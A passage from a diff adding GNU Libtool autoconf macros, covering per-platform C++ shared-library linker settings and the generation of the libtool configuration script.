flags are used when + # linking a shared library. + # + # There doesn't appear to be a way to prevent this compiler from + # explicitly linking system object files so we need to strip them + # from the output so that they don't get included in the library + # dependencies. + output_verbose_link_cmd='templist=`$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep "ld"`; templist=`echo $templist | $SED "s/\(^.*ld.*\)\( .*ld .*$\)/\1/"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; echo $list' + ;; + esac + ;; + lynxos*) + # FIXME: insert proper C++ library support + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + m88k*) + # FIXME: insert proper C++ library support + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + mvs*) + case $cc_basename in + cxx) + # FIXME: insert proper C++ library support + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + *) + # FIXME: insert proper C++ library support + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + esac + ;; + netbsd*) + if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -Bshareable -o $lib $predep_objects $libobjs $deplibs $postdep_objects $linker_flags' + wlarc= + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir' + _LT_AC_TAGVAR(hardcode_direct, $1)=yes + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no + fi + # Workaround some broken pre-1.5 toolchains + output_verbose_link_cmd='$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep conftest.$objext | $SED -e "s:-lgcc -lc -lgcc::"' + ;; + openbsd2*) + # C++ shared libraries are fairly broken + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + openbsd*) + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -o $lib' + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath,$libdir' + if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $pic_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-retain-symbols-file,$export_symbols -o $lib' + _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E' + _LT_AC_TAGVAR(whole_archive_flag_spec, $1)="$wlarc"'--whole-archive$convenience '"$wlarc"'--no-whole-archive' + fi + output_verbose_link_cmd='echo' + ;; + osf3*) + case $cc_basename in + KCC) + # Kuck and Associates, Inc. (KAI) C++ Compiler + + # KCC will only create a shared library if the output file + # ends with ".so" (or ".sl" for HP-UX), so rename the library + # to its proper name (with version) after linking. + _LT_AC_TAGVAR(archive_cmds, $1)='tempext=`echo $shared_ext | $SED -e '\''s/\([[^()0-9A-Za-z{}]]\)/\\\\\1/g'\''`; templib=`echo $lib | $SED -e "s/\${tempext}\..*/.so/"`; $CC $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags --soname $soname -o \$templib; mv \$templib $lib' + + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath,$libdir' + _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=: + + # Archives containing C++ object files must be created using + # "CC -Bstatic", where "CC" is the KAI C++ compiler. + _LT_AC_TAGVAR(old_archive_cmds, $1)='$CC -Bstatic -o $oldlib $oldobjs' + + ;; + RCC) + # Rational C++ 2.4.1 + # FIXME: insert proper C++ library support + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + cxx) + _LT_AC_TAGVAR(allow_undefined_flag, $1)=' ${wl}-expect_unresolved ${wl}\*' + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname $soname `test -n "$verstring" && echo ${wl}-set_version $verstring` -update_registry ${objdir}/so_locations -o $lib' + + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir' + _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=: + + # Commands to make compiler produce verbose output that lists + # what "hidden" libraries, object files and flags are used when + # linking a shared library. + # + # There doesn't appear to be a way to prevent this compiler from + # explicitly linking system object files so we need to strip them + # from the output so that they don't get included in the library + # dependencies. + output_verbose_link_cmd='templist=`$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep "ld" | grep -v "ld:"`; templist=`echo $templist | $SED "s/\(^.*ld.*\)\( .*ld.*$\)/\1/"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; echo $list' + ;; + *) + if test "$GXX" = yes && test "$with_gnu_ld" = no; then + _LT_AC_TAGVAR(allow_undefined_flag, $1)=' ${wl}-expect_unresolved ${wl}\*' + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib ${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${objdir}/so_locations -o $lib' + + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir' + _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=: + + # Commands to make compiler produce verbose output that lists + # what "hidden" libraries, object files and flags are used when + # linking a shared library. + output_verbose_link_cmd='$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep "\-L"' + + else + # FIXME: insert proper C++ library support + _LT_AC_TAGVAR(ld_shlibs, $1)=no + fi + ;; + esac + ;; + osf4* | osf5*) + case $cc_basename in + KCC) + # Kuck and Associates, Inc. (KAI) C++ Compiler + + # KCC will only create a shared library if the output file + # ends with ".so" (or ".sl" for HP-UX), so rename the library + # to its proper name (with version) after linking. + _LT_AC_TAGVAR(archive_cmds, $1)='tempext=`echo $shared_ext | $SED -e '\''s/\([[^()0-9A-Za-z{}]]\)/\\\\\1/g'\''`; templib=`echo $lib | $SED -e "s/\${tempext}\..*/.so/"`; $CC $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags --soname $soname -o \$templib; mv \$templib $lib' + + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath,$libdir' + _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=: + + # Archives containing C++ object files must be created using + # the KAI C++ compiler. + _LT_AC_TAGVAR(old_archive_cmds, $1)='$CC -o $oldlib $oldobjs' + ;; + RCC) + # Rational C++ 2.4.1 + # FIXME: insert proper C++ library support + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + cxx) + _LT_AC_TAGVAR(allow_undefined_flag, $1)=' -expect_unresolved \*' + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -msym -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${objdir}/so_locations -o $lib' + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='for i in `cat $export_symbols`; do printf "%s %s\\n" -exported_symbol "\$i" >> $lib.exp; done~ + echo "-hidden">> $lib.exp~ + $CC -shared$allow_undefined_flag $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags -msym -soname $soname -Wl,-input -Wl,$lib.exp `test -n "$verstring" && echo -set_version $verstring` -update_registry $objdir/so_locations -o $lib~ + $rm $lib.exp' + + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-rpath $libdir' + _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=: + + # Commands to make compiler produce verbose output that lists + # what "hidden" libraries, object files and flags are used when + # linking a shared library. + # + # There doesn't appear to be a way to prevent this compiler from + # explicitly linking system object files so we need to strip them + # from the output so that they don't get included in the library + # dependencies. + output_verbose_link_cmd='templist=`$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep "ld" | grep -v "ld:"`; templist=`echo $templist | $SED "s/\(^.*ld.*\)\( .*ld.*$\)/\1/"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; echo $list' + ;; + *) + if test "$GXX" = yes && test "$with_gnu_ld" = no; then + _LT_AC_TAGVAR(allow_undefined_flag, $1)=' ${wl}-expect_unresolved ${wl}\*' + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib ${allow_undefined_flag} $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${objdir}/so_locations -o $lib' + + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir' + _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=: + + # Commands to make compiler produce verbose output that lists + # what "hidden" libraries, object files and flags are used when + # linking a shared library. + output_verbose_link_cmd='$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep "\-L"' + + else + # FIXME: insert proper C++ library support + _LT_AC_TAGVAR(ld_shlibs, $1)=no + fi + ;; + esac + ;; + psos*) + # FIXME: insert proper C++ library support + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + sco*) + _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=no + case $cc_basename in + CC) + # FIXME: insert proper C++ library support + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + *) + # FIXME: insert proper C++ library support + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + esac + ;; + sunos4*) + case $cc_basename in + CC) + # Sun C++ 4.x + # FIXME: insert proper C++ library support + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + lcc) + # Lucid + # FIXME: insert proper C++ library support + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + *) + # FIXME: insert proper C++ library support + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + esac + ;; + solaris*) + case $cc_basename in + CC) + # Sun C++ 4.2, 5.x and Centerline C++ + _LT_AC_TAGVAR(no_undefined_flag, $1)=' -zdefs' + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -G${allow_undefined_flag} -nolib -h$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags' + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~ + $CC -G${allow_undefined_flag} -nolib ${wl}-M ${wl}$lib.exp -h$soname -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~$rm $lib.exp' + + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir' + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no + case $host_os in + solaris2.[0-5] | solaris2.[0-5].*) ;; + *) + # The C++ compiler is used as linker so we must use $wl + # flag to pass the commands to the underlying system + # linker. + # Supported since Solaris 2.6 (maybe 2.5.1?) + _LT_AC_TAGVAR(whole_archive_flag_spec, $1)='${wl}-z ${wl}allextract$convenience ${wl}-z ${wl}defaultextract' + ;; + esac + _LT_AC_TAGVAR(link_all_deplibs, $1)=yes + + # Commands to make compiler produce verbose output that lists + # what "hidden" libraries, object files and flags are used when + # linking a shared library. + # + # There doesn't appear to be a way to prevent this compiler from + # explicitly linking system object files so we need to strip them + # from the output so that they don't get included in the library + # dependencies. + output_verbose_link_cmd='templist=`$CC -G $CFLAGS -v conftest.$objext 2>&1 | grep "\-[[LR]]"`; list=""; for z in $templist; do case $z in conftest.$objext) list="$list $z";; *.$objext);; *) list="$list $z";;esac; done; echo $list' + + # Archives containing C++ object files must be created using + # "CC -xar", where "CC" is the Sun C++ compiler. This is + # necessary to make sure instantiated templates are included + # in the archive. + _LT_AC_TAGVAR(old_archive_cmds, $1)='$CC -xar -o $oldlib $oldobjs' + ;; + gcx) + # Green Hills C++ Compiler + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-h $wl$soname -o $lib' + + # The C++ compiler must be used to create the archive. + _LT_AC_TAGVAR(old_archive_cmds, $1)='$CC $LDFLAGS -archive -o $oldlib $oldobjs' + ;; + *) + # GNU C++ compiler with Solaris linker + if test "$GXX" = yes && test "$with_gnu_ld" = no; then + _LT_AC_TAGVAR(no_undefined_flag, $1)=' ${wl}-z ${wl}defs' + if $CC --version | grep -v '^2\.7' > /dev/null; then + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -nostdlib $LDFLAGS $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-h $wl$soname -o $lib' + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~ + $CC -shared -nostdlib ${wl}-M $wl$lib.exp -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~$rm $lib.exp' + + # Commands to make compiler produce verbose output that lists + # what "hidden" libraries, object files and flags are used when + # linking a shared library. + output_verbose_link_cmd="$CC -shared $CFLAGS -v conftest.$objext 2>&1 | grep \"\-L\"" + else + # g++ 2.7 appears to require `-G' NOT `-shared' on this + # platform. + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -G -nostdlib $LDFLAGS $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags ${wl}-h $wl$soname -o $lib' + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~ + $CC -G -nostdlib ${wl}-M $wl$lib.exp -o $lib $predep_objects $libobjs $deplibs $postdep_objects $compiler_flags~$rm $lib.exp' + + # Commands to make compiler produce verbose output that lists + # what "hidden" libraries, object files and flags are used when + # linking a shared library. + output_verbose_link_cmd="$CC -G $CFLAGS -v conftest.$objext 2>&1 | grep \"\-L\"" + fi + + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-R $wl$libdir' + fi + ;; + esac + ;; + sysv5OpenUNIX8* | sysv5UnixWare7* | sysv5uw[[78]]* | unixware7*) + _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=no + ;; + tandem*) + case $cc_basename in + NCC) + # NonStop-UX NCC 3.20 + # FIXME: insert proper C++ library support + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + *) + # FIXME: insert proper C++ library support + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + esac + ;; + vxworks*) + # FIXME: insert proper C++ library support + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + *) + # FIXME: insert proper C++ library support + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; +esac +AC_MSG_RESULT([$_LT_AC_TAGVAR(ld_shlibs, $1)]) +test "$_LT_AC_TAGVAR(ld_shlibs, $1)" = no && can_build_shared=no + +_LT_AC_TAGVAR(GCC, $1)="$GXX" +_LT_AC_TAGVAR(LD, $1)="$LD" + +## CAVEAT EMPTOR: +## There is no encapsulation within the following macros, do not change +## the running order or otherwise move them around unless you know exactly +## what you are doing... +AC_LIBTOOL_POSTDEP_PREDEP($1) +AC_LIBTOOL_PROG_COMPILER_PIC($1) +AC_LIBTOOL_PROG_CC_C_O($1) +AC_LIBTOOL_SYS_HARD_LINK_LOCKS($1) +AC_LIBTOOL_PROG_LD_SHLIBS($1) +AC_LIBTOOL_SYS_DYNAMIC_LINKER($1) +AC_LIBTOOL_PROG_LD_HARDCODE_LIBPATH($1) +AC_LIBTOOL_SYS_LIB_STRIP +AC_LIBTOOL_DLOPEN_SELF($1) + +AC_LIBTOOL_CONFIG($1) + +AC_LANG_POP +CC=$lt_save_CC +LDCXX=$LD +LD=$lt_save_LD +GCC=$lt_save_GCC +with_gnu_ldcxx=$with_gnu_ld +with_gnu_ld=$lt_save_with_gnu_ld +lt_cv_path_LDCXX=$lt_cv_path_LD +lt_cv_path_LD=$lt_save_path_LD +lt_cv_prog_gnu_ldcxx=$lt_cv_prog_gnu_ld +lt_cv_prog_gnu_ld=$lt_save_with_gnu_ld +])# AC_LIBTOOL_LANG_CXX_CONFIG + +# AC_LIBTOOL_POSTDEP_PREDEP([TAGNAME]) +# ------------------------ +# Figure out "hidden" library dependencies from verbose +# compiler output when linking a shared library. +# Parse the compiler output and extract the necessary +# objects, libraries and library flags. +AC_DEFUN([AC_LIBTOOL_POSTDEP_PREDEP],[ +dnl we can't use the lt_simple_compile_test_code here, +dnl because it contains code intended for an executable, +dnl not a library. It's possible we should let each +dnl tag define a new lt_????_link_test_code variable, +dnl but it's only used here... +ifelse([$1],[],[cat > conftest.$ac_ext < conftest.$ac_ext < conftest.$ac_ext < conftest.$ac_ext <> "$cfgfile" +ifelse([$1], [], +[#! $SHELL + +# `$echo "$cfgfile" | sed 's%^.*/%%'` - Provide generalized library-building support services. +# Generated automatically by $PROGRAM (GNU $PACKAGE $VERSION$TIMESTAMP) +# NOTE: Changes made to this file will be lost: look at ltmain.sh. +# +# Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001 +# Free Software Foundation, Inc. +# +# This file is part of GNU Libtool: +# Originally by Gordon Matzigkeit , 1996 +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. +# +# As a special exception to the GNU General Public License, if you +# distribute this file as part of a program that contains a +# configuration script generated by Autoconf, you may include it under +# the same distribution terms that you use for the rest of that program. + +# A sed program that does not truncate output. +SED=$lt_SED + +# Sed that helps us avoid accidentally triggering echo(1) options like -n. +Xsed="$SED -e s/^X//" + +# The HP-UX ksh and POSIX shell print the target directory to stdout +# if CDPATH is set. +(unset CDPATH) >/dev/null 2>&1 && unset CDPATH + +# The names of the tagged configurations supported by this script. +available_tags= + +# ### BEGIN LIBTOOL CONFIG], +[# ### BEGIN LIBTOOL TAG CONFIG: $tagname]) + +# Libtool was configured on host `(hostname || uname -n) 2>/dev/null | sed 1q`: + +# Shell to use when invoking shell scripts. +SHELL=$lt_SHELL + +# Whether or not to build shared libraries. +build_libtool_libs=$enable_shared + +# Whether or not to build static libraries. +build_old_libs=$enable_static + +# Whether or not to add -lc for building shared libraries. +build_libtool_need_lc=$_LT_AC_TAGVAR(archive_cmds_need_lc, $1) + +# Whether or not to disallow shared libs when runtime libs are static +allow_libtool_libs_with_static_runtimes=$_LT_AC_TAGVAR(enable_shared_with_static_runtimes, $1) + +# Whether or not to optimize for fast installation. +fast_install=$enable_fast_install + +# The host system. +host_alias=$host_alias +host=$host + +# An echo program that does not interpret backslashes. +echo=$lt_echo + +# The archiver. +AR=$lt_AR +AR_FLAGS=$lt_AR_FLAGS + +# A C compiler. +LTCC=$lt_LTCC + +# A language-specific compiler. +CC=$lt_[]_LT_AC_TAGVAR(compiler, $1) + +# Is the compiler the GNU C compiler? +with_gcc=$_LT_AC_TAGVAR(GCC, $1) + +# An ERE matcher. +EGREP=$lt_EGREP + +# The linker used to build libraries. +LD=$lt_[]_LT_AC_TAGVAR(LD, $1) + +# Whether we need hard or soft links. +LN_S=$lt_LN_S + +# A BSD-compatible nm program. +NM=$lt_NM + +# A symbol stripping program +STRIP=$lt_STRIP + +# Used to examine libraries when file_magic_cmd begins "file" +MAGIC_CMD=$MAGIC_CMD + +# Used on cygwin: DLL creation program. +DLLTOOL="$DLLTOOL" + +# Used on cygwin: object dumper. +OBJDUMP="$OBJDUMP" + +# Used on cygwin: assembler. +AS="$AS" + +# The name of the directory that contains temporary libtool files. +objdir=$objdir + +# How to create reloadable object files. +reload_flag=$lt_reload_flag +reload_cmds=$lt_reload_cmds + +# How to pass a linker flag through the compiler. +wl=$lt_[]_LT_AC_TAGVAR(lt_prog_compiler_wl, $1) + +# Object file suffix (normally "o"). +objext="$ac_objext" + +# Old archive suffix (normally "a"). +libext="$libext" + +# Shared library suffix (normally ".so"). +shrext_cmds='$shrext_cmds' + +# Executable file suffix (normally ""). +exeext="$exeext" + +# Additional compiler flags for building library objects. +pic_flag=$lt_[]_LT_AC_TAGVAR(lt_prog_compiler_pic, $1) +pic_mode=$pic_mode + +# What is the maximum length of a command? +max_cmd_len=$lt_cv_sys_max_cmd_len + +# Does compiler simultaneously support -c and -o options? +compiler_c_o=$lt_[]_LT_AC_TAGVAR(lt_cv_prog_compiler_c_o, $1) + +# Must we lock files when doing compilation ? +need_locks=$lt_need_locks + +# Do we need the lib prefix for modules? +need_lib_prefix=$need_lib_prefix + +# Do we need a version for libraries? +need_version=$need_version + +# Whether dlopen is supported. +dlopen_support=$enable_dlopen + +# Whether dlopen of programs is supported. +dlopen_self=$enable_dlopen_self + +# Whether dlopen of statically linked programs is supported. +dlopen_self_static=$enable_dlopen_self_static + +# Compiler flag to prevent dynamic linking. +link_static_flag=$lt_[]_LT_AC_TAGVAR(lt_prog_compiler_static, $1) + +# Compiler flag to turn off builtin functions. +no_builtin_flag=$lt_[]_LT_AC_TAGVAR(lt_prog_compiler_no_builtin_flag, $1) + +# Compiler flag to allow reflexive dlopens. +export_dynamic_flag_spec=$lt_[]_LT_AC_TAGVAR(export_dynamic_flag_spec, $1) + +# Compiler flag to generate shared objects directly from archives. +whole_archive_flag_spec=$lt_[]_LT_AC_TAGVAR(whole_archive_flag_spec, $1) + +# Compiler flag to generate thread-safe objects. +thread_safe_flag_spec=$lt_[]_LT_AC_TAGVAR(thread_safe_flag_spec, $1) + +# Library versioning type. +version_type=$version_type + +# Format of library name prefix. +libname_spec=$lt_libname_spec + +# List of archive names. First name is the real one, the rest are links. +# The last name is the one that the linker finds with -lNAME. +library_names_spec=$lt_library_names_spec + +# The coded name of the library, if different from the real name. +soname_spec=$lt_soname_spec + +# Commands used to build and install an old-style archive. +RANLIB=$lt_RANLIB +old_archive_cmds=$lt_[]_LT_AC_TAGVAR(old_archive_cmds, $1) +old_postinstall_cmds=$lt_old_postinstall_cmds +old_postuninstall_cmds=$lt_old_postuninstall_cmds + +# Create an old-style archive from a shared archive. +old_archive_from_new_cmds=$lt_[]_LT_AC_TAGVAR(old_archive_from_new_cmds, $1) + +# Create a temporary old-style archive to link instead of a shared archive. +old_archive_from_expsyms_cmds=$lt_[]_LT_AC_TAGVAR(old_archive_from_expsyms_cmds, $1) + +# Commands used to build and install a shared archive. +archive_cmds=$lt_[]_LT_AC_TAGVAR(archive_cmds, $1) +archive_expsym_cmds=$lt_[]_LT_AC_TAGVAR(archive_expsym_cmds, $1) +postinstall_cmds=$lt_postinstall_cmds +postuninstall_cmds=$lt_postuninstall_cmds + +# Commands used to build a loadable module (assumed same as above if empty) +module_cmds=$lt_[]_LT_AC_TAGVAR(module_cmds, $1) +module_expsym_cmds=$lt_[]_LT_AC_TAGVAR(module_expsym_cmds, $1) + +# Commands to strip libraries. +old_striplib=$lt_old_striplib +striplib=$lt_striplib + +# Dependencies to place before the objects being linked to create a +# shared library. +predep_objects=$lt_[]_LT_AC_TAGVAR(predep_objects, $1) + +# Dependencies to place after the objects being linked to create a +# shared library. +postdep_objects=$lt_[]_LT_AC_TAGVAR(postdep_objects, $1) + +# Dependencies to place before the objects being linked to create a +# shared library. +predeps=$lt_[]_LT_AC_TAGVAR(predeps, $1) + +# Dependencies to place after the objects being linked to create a +# shared library. +postdeps=$lt_[]_LT_AC_TAGVAR(postdeps, $1) + +# The library search path used internally by the compiler when linking +# a shared library. +compiler_lib_search_path=$lt_[]_LT_AC_TAGVAR(compiler_lib_search_path, $1) + +# Method to check whether dependent libraries are shared objects. +deplibs_check_method=$lt_deplibs_check_method + +# Command to use when deplibs_check_method == file_magic. +file_magic_cmd=$lt_file_magic_cmd + +# Flag that allows shared libraries with undefined symbols to be built. +allow_undefined_flag=$lt_[]_LT_AC_TAGVAR(allow_undefined_flag, $1) + +# Flag that forces no undefined symbols. +no_undefined_flag=$lt_[]_LT_AC_TAGVAR(no_undefined_flag, $1) + +# Commands used to finish a libtool library installation in a directory. +finish_cmds=$lt_finish_cmds + +# Same as above, but a single script fragment to be evaled but not shown. +finish_eval=$lt_finish_eval + +# Take the output of nm and produce a listing of raw symbols and C names. +global_symbol_pipe=$lt_lt_cv_sys_global_symbol_pipe + +# Transform the output of nm in a proper C declaration +global_symbol_to_cdecl=$lt_lt_cv_sys_global_symbol_to_cdecl + +# Transform the output of nm in a C name address pair +global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address + +# This is the shared library runtime path variable. +runpath_var=$runpath_var + +# This is the shared library path variable. +shlibpath_var=$shlibpath_var + +# Is shlibpath searched before the hard-coded library search path? +shlibpath_overrides_runpath=$shlibpath_overrides_runpath + +# How to hardcode a shared library path into an executable. +hardcode_action=$_LT_AC_TAGVAR(hardcode_action, $1) + +# Whether we should hardcode library paths into libraries. +hardcode_into_libs=$hardcode_into_libs + +# Flag to hardcode \$libdir into a binary during linking. +# This must work even if \$libdir does not exist. +hardcode_libdir_flag_spec=$lt_[]_LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1) + +# If ld is used when linking, flag to hardcode \$libdir into +# a binary during linking. This must work even if \$libdir does +# not exist. +hardcode_libdir_flag_spec_ld=$lt_[]_LT_AC_TAGVAR(hardcode_libdir_flag_spec_ld, $1) + +# Whether we need a single -rpath flag with a separated argument. +hardcode_libdir_separator=$lt_[]_LT_AC_TAGVAR(hardcode_libdir_separator, $1) + +# Set to yes if using DIR/libNAME${shared_ext} during linking hardcodes DIR into the +# resulting binary. +hardcode_direct=$_LT_AC_TAGVAR(hardcode_direct, $1) + +# Set to yes if using the -LDIR flag during linking hardcodes DIR into the +# resulting binary. +hardcode_minus_L=$_LT_AC_TAGVAR(hardcode_minus_L, $1) + +# Set to yes if using SHLIBPATH_VAR=DIR during linking hardcodes DIR into +# the resulting binary. +hardcode_shlibpath_var=$_LT_AC_TAGVAR(hardcode_shlibpath_var, $1) + +# Set to yes if building a shared library automatically hardcodes DIR into the library +# and all subsequent libraries and executables linked against it. +hardcode_automatic=$_LT_AC_TAGVAR(hardcode_automatic, $1) + +# Variables whose values should be saved in libtool wrapper scripts and +# restored at relink time. +variables_saved_for_relink="$variables_saved_for_relink" + +# Whether libtool must link a program against all its dependency libraries. +link_all_deplibs=$_LT_AC_TAGVAR(link_all_deplibs, $1) + +# Compile-time system search path for libraries +sys_lib_search_path_spec=$lt_sys_lib_search_path_spec + +# Run-time system search path for libraries +sys_lib_dlsearch_path_spec=$lt_sys_lib_dlsearch_path_spec + +# Fix the shell variable \$srcfile for the compiler. +fix_srcfile_path="$_LT_AC_TAGVAR(fix_srcfile_path, $1)" + +# Set to yes if exported symbols are required. +always_export_symbols=$_LT_AC_TAGVAR(always_export_symbols, $1) + +# The commands to list exported symbols. +export_symbols_cmds=$lt_[]_LT_AC_TAGVAR(export_symbols_cmds, $1) + +# The commands to extract the exported symbol list from a shared archive. +extract_expsyms_cmds=$lt_extract_expsyms_cmds + +# Symbols that should not be listed in the preloaded symbols. +exclude_expsyms=$lt_[]_LT_AC_TAGVAR(exclude_expsyms, $1) + +# Symbols that must always be exported. +include_expsyms=$lt_[]_LT_AC_TAGVAR(include_expsyms, $1) + +ifelse([$1],[], +[# ### END LIBTOOL CONFIG], +[# ### END LIBTOOL TAG CONFIG: $tagname]) + +__EOF__ + +ifelse([$1],[], [ + case $host_os in + aix3*) + cat <<\EOF >> "$cfgfile" + +# AIX sometimes has problems with the GCC collect2 program. For some +# reason, if we set the COLLECT_NAMES environment variable, the problems +# vanish in a puff of smoke. +if test "X${COLLECT_NAMES+set}" != Xset; then + COLLECT_NAMES= + export COLLECT_NAMES +fi +EOF + ;; + esac + + # We use sed instead of cat because bash on DJGPP gets confused if + # if finds mixed CR/LF and LF-only lines. Since sed operates in + # text mode, it properly converts lines to CR/LF. This bash problem + # is reportedly fixed, but why not run on old versions too? + sed '$q' "$ltmain" >> "$cfgfile" || (rm -f "$cfgfile"; exit 1) + + mv -f "$cfgfile" "$ofile" || \ + (rm -f "$ofile" && cp "$cfgfile" "$ofile" && rm -f "$cfgfile") + chmod +x "$ofile" +]) +else + # If there is no Makefile yet, we rely on a make rule to execute + # `config.status --recheck' to rerun these tests and create the + # libtool script then. + ltmain_in=`echo $ltmain | sed -e 's/\.sh$/.in/'` + if test -f "$ltmain_in"; then + test -f Makefile && make "$ltmain" + fi +fi +])# AC_LIBTOOL_CONFIG + + +# AC_LIBTOOL_PROG_COMPILER_NO_RTTI([TAGNAME]) +# ------------------------------------------- +AC_DEFUN([AC_LIBTOOL_PROG_COMPILER_NO_RTTI], +[AC_REQUIRE([_LT_AC_SYS_COMPILER])dnl + +_LT_AC_TAGVAR(lt_prog_compiler_no_builtin_flag, $1)= + +if test "$GCC" = yes; then + _LT_AC_TAGVAR(lt_prog_compiler_no_builtin_flag, $1)=' -fno-builtin' + + AC_LIBTOOL_COMPILER_OPTION([if $compiler supports -fno-rtti -fno-exceptions], + lt_cv_prog_compiler_rtti_exceptions, + [-fno-rtti -fno-exceptions], [], + [_LT_AC_TAGVAR(lt_prog_compiler_no_builtin_flag, $1)="$_LT_AC_TAGVAR(lt_prog_compiler_no_builtin_flag, $1) -fno-rtti -fno-exceptions"]) +fi +])# 